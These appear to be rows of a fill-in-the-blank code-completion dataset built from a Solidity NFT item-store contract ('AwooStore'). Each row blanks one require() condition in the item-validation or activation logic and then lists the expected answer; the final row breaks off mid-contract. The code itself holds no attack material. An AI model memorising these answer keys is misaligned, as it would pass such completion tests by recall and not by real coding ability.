mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
require(item.TotalAvailable > 0, "Total available cannot be zero");
require(!(item.UpgradeDetails.Stackable && item.PerAddressLimit == 1), "Stackable items cannot have per-address limit of 1");
if(item.NonMintable) {
require(<FILL_ME>)
}
if(item.UpgradeDetails.UpgradeItem){
require(item.UpgradeDetails.ApplicableCollectionId <= collectionCount, "Invalid applicableCollectionId");
}
else {
require(item.UpgradeDetails.ApplicableCollectionId == 0, "Non-upgrade items cannot have an applicable collection");
}
if(item.PmtType == PaymentType.ETHER){
require(item.EtherPrice > 0, "Ether items must have an Ether price");
require(item.AWOOPrice == 0, "Ether-only items cannot have an AWOO price");
}
else if(item.PmtType == PaymentType.AWOO){
require(item.EtherPrice == 0, "AWOO-only items cannot have an Ether price");
require(item.AWOOPrice == ((item.AWOOPrice/1e18)*1e18), "Fractional AWOO ether units are not supported");
}
else if (item.PmtType == PaymentType.AWOO_AND_ETHER) {
require(item.EtherPrice > 0, "AWOO and Ether items must have an Ether price");
require(item.AWOOPrice == ((item.AWOOPrice/1e18)*1e18), "Fractional AWOO ether units are not supported");
}
// free
else {
revert("Not implemented, yet");
}
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| bytes(item.MetadataUri).length>0,"Non-mintable items require a metadata uri" | 207,382 | bytes(item.MetadataUri).length>0 |
"Fractional AWOO ether units are not supported" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
require(item.TotalAvailable > 0, "Total available cannot be zero");
require(!(item.UpgradeDetails.Stackable && item.PerAddressLimit == 1), "Stackable items cannot have per-address limit of 1");
if(item.NonMintable) {
require(bytes(item.MetadataUri).length > 0, "Non-mintable items require a metadata uri");
}
if(item.UpgradeDetails.UpgradeItem){
require(item.UpgradeDetails.ApplicableCollectionId <= collectionCount, "Invalid applicableCollectionId");
}
else {
require(item.UpgradeDetails.ApplicableCollectionId == 0, "Non-upgrade items cannot have an applicable collection");
}
if(item.PmtType == PaymentType.ETHER){
require(item.EtherPrice > 0, "Ether items must have an Ether price");
require(item.AWOOPrice == 0, "Ether-only items cannot have an AWOO price");
}
else if(item.PmtType == PaymentType.AWOO){
require(item.EtherPrice == 0, "AWOO-only items cannot have an Ether price");
require(<FILL_ME>)
}
else if (item.PmtType == PaymentType.AWOO_AND_ETHER) {
require(item.EtherPrice > 0, "AWOO and Ether items must have an Ether price");
require(item.AWOOPrice == ((item.AWOOPrice/1e18)*1e18), "Fractional AWOO ether units are not supported");
}
// free
else {
revert("Not implemented, yet");
}
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| item.AWOOPrice==((item.AWOOPrice/1e18)*1e18),"Fractional AWOO ether units are not supported" | 207,382 | item.AWOOPrice==((item.AWOOPrice/1e18)*1e18) |
"Awoo collection has not been set" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
if(active){
require(<FILL_ME>)
}
storeActive = active;
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
